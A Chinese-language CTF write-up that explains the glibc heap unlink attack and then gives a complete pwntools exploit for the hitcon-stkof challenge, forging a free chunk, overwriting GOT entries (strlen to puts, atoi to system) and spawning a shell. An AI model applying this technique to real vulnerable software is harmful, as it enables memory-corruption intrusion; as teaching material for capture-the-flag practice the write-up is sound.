unlink作为一种堆攻击技巧,直接能实现的效果就是,将一块内存区域的内容改为其地址往前3个单位。在32位上,一个单位是4字节,在64位上是8字节。而且该地址必须指向伪造的freechunk。
long long* ptr;
ptr = &ptr - 3;
如何触发unlink?
接下来的部分涉及到ptmalloc的一些实现,网上教程一大把,就不展开写了,接下来得懂ptmalloc的chunk结构和free的执行过程。
free的大致执行过程:当释放一个smallchunk P,堆管理器会检查内存相邻的前后chunk是否为free状态,如果是,则对前后chunk执行unlink宏。一定要是smallchunk哦,如果是fastchunk会被丢进fastbin,就不执行unlink了。。。
一个chunk是不是freechunk决定于内存相邻的nextchunk的chunksize字段,如果该字段最低有效位为1(PREV_INUSE被设置),则该chunk为freechunk。PREV_INUSE即下图chunksize后的P比特。
64bit:0x20 - 0x400 32bit:0x10 - 0x200
需要注意的是fastchunk的大小范围和smallchunk有重叠,所以需要申请大于最大fastchunk大小的chunk。
fastchunk的大小范围: 64bit:0x20- 0xc0
32bit:0x10 - 0x60
unlink宏:
Set P->fd->bk = P->bk
Set P->bk->fd = P->fd.
由于P->fd->bk和P->bk->fd 都指向P,所以最终效果也就是
Set P->bk->fd = P->fd.
P->fd为3个size_t偏移,所以最终效果ptr = &ptr - 3;
攻击前提:存在溢出且可覆盖nextchunk的prevsize和size字段。
触发方法:
申请两个chunk,第一个chunk溢出和伪造freechunk用,溢出指的是覆盖第二个chunk的prevsize和size字段,第二个chunk需为smallchunk,释放第二个chunk的时候就会对第一个chunk执行unlink。
伪造freechunk方法:
1. 确定指向freechunk的指针地址&ptr
2. 伪造prevsize和size,prevsize随便写,size字段即该freechunk的字节数,并设置PREV__INUSE。
3. 设置freechunk的fd为ptr - 0x18 (64bit)
4. 设置freechunk的bk为ptr - 0x10 (64bit)
5. 填充直到nextchunk
6. 在构造完freechunk后,我们还得顺路溢出一下子。记得之前说过,确定一个chunk是否free,取决于nextchunk的PREV_INUSE。所以,我们得保证再溢出两个单位,一个单位存放freechunk的size,一个单位存放nextchunk的size,并设置PREV_INUSE。
为何设置fd为ptr - 0x18,bk为ptr - 0x10?
P->fd->bk == P and P->bk->fd == P
我们这样设置就可以伪造一种该chunk在队列中的假象。当然在32bit下,fd为ptr - 0x0c,bk为ptr - 0x8。如果不想弄懂,记住就完了。。 CTF实战
hitcon-stkof(buuoj平台可访问)该题是典型的增删查改题。选项1,2,3,4分别对应增改删查。
增:申请一个用户给定的大小,并保存指针到s,s为BSS段的一个数组。
在改的部分存在溢出:
既然已经在增加的部分确定了malloc大小,该函数又允许输入任意长度字符串,即可溢出。
大致思路就有了,申请两个chunk,然后溢出第一个,释放第二个,执行unlink,最终bss段的s数组将被控制,我们可以任意地址写了。
这道题有一个问题就是,任意地址写啥?我们得先泄露一下libc的地址。这里我们看到有一个查功能,但是该功能无法输出s数组指向的内容。
但是strlen还是会被执行。我们可以修改strlen的GOT内容为puts的PLT。最终调用strlen就会调用puts,想输出我们想要的数据。
开始上代码:
先写一些辅助函数
然后创建三个堆块,确保第三个为smallchunk,为后续的unlink做准备。p = process('./stkof', buffer_fill_size=0xffff)
def create(length):
p.sendline("1")
p.sendline(str(length))
p.recvuntil('OK')
def edit(index,length,content):
p.sendline("2")
p.sendline(str(index))
p.sendline(str(length))
p.send(content)
p.recvuntil('OK')
def delete(index):
p.sendline("3")
p.sendline(str(index))
p.recvuntil('OK')
def show(idx):
p.sendline("4")
p.sendline(str(idx))
create(0x50)
create(0x50)
create(0xc0) # 申请0xc0字节,实际chunk的size为0xc0 + 0x10(添加了chunk头部)
gdb.attach(p)
可以想象unlink后该地址内容应该变为0x602138 。
下一步利用改功能伪造chunk,并溢出。
ptr = 0x602150 # 0x602130
fakechunk = flat([
0x0,
0x50 | 1,
ptr - 0x18,
ptr - 0x10,
* 0x30,
0x50,
0xd0
])
edit(2,len(fakechunk),fakechunk)
在执行完这一步后,由于nextchunk的PREV_INUSE被清空,该fakechunk将会直接显示位free状态。(两次parseheap地址不同因为我开启了ASLR)。
可以看到黄色的为我们伪造的chunk,红色就是被溢出的nextchunk。
我们再释放nextchunk,执行unlink。
可见地址已经被修改。(注意:从一个堆地址变为了BSS段地址)
str_len_got = elf.got['strlen']
puts_plt = elf.plt['puts']
payload2 = flat([
'A' * 0x10,
str_len_got
])
edit(2,len(payload2),payload2)
payload3 = p64(puts_plt)
edit(1,len(payload3),payload3)
执行完以后:
再把第一个元素改为malloc的GOT,看看malloc的地址,根据malloc的偏移确定libc的版本,最终修改atoi的got为system,调用atoi(’/bin/sh‘)即是调用system('/bin/sh');
最终完整exp:
from pwn import *
from LibcSearcher import LibcSearcher
from formatStringExploiter.FormatString import FormatString
os.chdir(os.path.dirname(os.path.abspath(__file__)))
REMOTE = False
if args["REMOTE"]: REMOTE = True
HOST = "node3.buuoj.cn"
PORT = 28623
FILE = os.path.splitext("./"+__file__)[0]
context.update(arch = 'amd64', os = 'linux', timeout = 100, log_level='debug' )
elf = ELF(FILE)
if REMOTE:
p = remote(HOST, PORT,buffer_fill_size=0xffff)
else:
context.terminal = ['tmux', 'splitw', '-h']
p = process(FILE, buffer_fill_size=0xffff)
edit_addr = 0x4009E8
create_addr = 0x400936
delete_addr = 0x400B07
break_points = [
]
s = 0x602140
# gdb.attach(p,"""
# b *{0}
# display /4xg {s}
# """.format(edit_addr,s=s))
# pause()
def create(length):
p.sendline("1")
p.sendline(str(length))
p.recvuntil('OK')
def edit(index,length,content):
p.sendline("2")
p.sendline(str(index))
p.sendline(str(length))
p.send(content)
p.recvuntil('OK')
def delete(index):
p.sendline("3")
p.sendline(str(index))
p.recvuntil('OK')
def show(idx):
p.sendline("4")
p.sendline(str(idx))
create(0x50)
create(0x50)
create(0xc0)
ptr = 0x602150 # 0x602130
fakechunk = flat([
0x0,
0x50 | 1,
ptr - 0x18,
ptr - 0x10,
'A' * 0x30,
0x50,
0xd0
])
edit(2,len(fakechunk),fakechunk)
delete(3)
str_len_got = elf.got['strlen']
puts_plt = elf.plt['puts']
payload2 = flat([
'A' * 0x10,
str_len_got
])
edit(2,len(payload2),payload2)
payload3 = p64(puts_plt)
edit(1,len(payload3),payload3)
atoi_got = elf.got['malloc']
payload4 = flat([
'A' * 0x10,
p64(atoi_got)
])
edit(2,len(payload4),payload4)
# p.recvuntil("OK")
show(1)
recv = p.recvuntil('OK').strip().split('\n')[0]
atoi = u64(recv.ljust(8,'\x00'))
success("atoi @ %x" % atoi)
search = LibcSearcher('malloc',atoi)
one = search.get_one_gadgets()[0]
system,_ = search.get_system_and_bin_sh()
payload5 = flat([
'A' *0x10,
elf.got['atoi']
])
edit(2,len(payload5),payload5)
edit(1,8,p64(system))
# gdb.attach(p)
p.sendline("/bin/sh")
p.interactive()
# p.interactive()
参考资料:
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html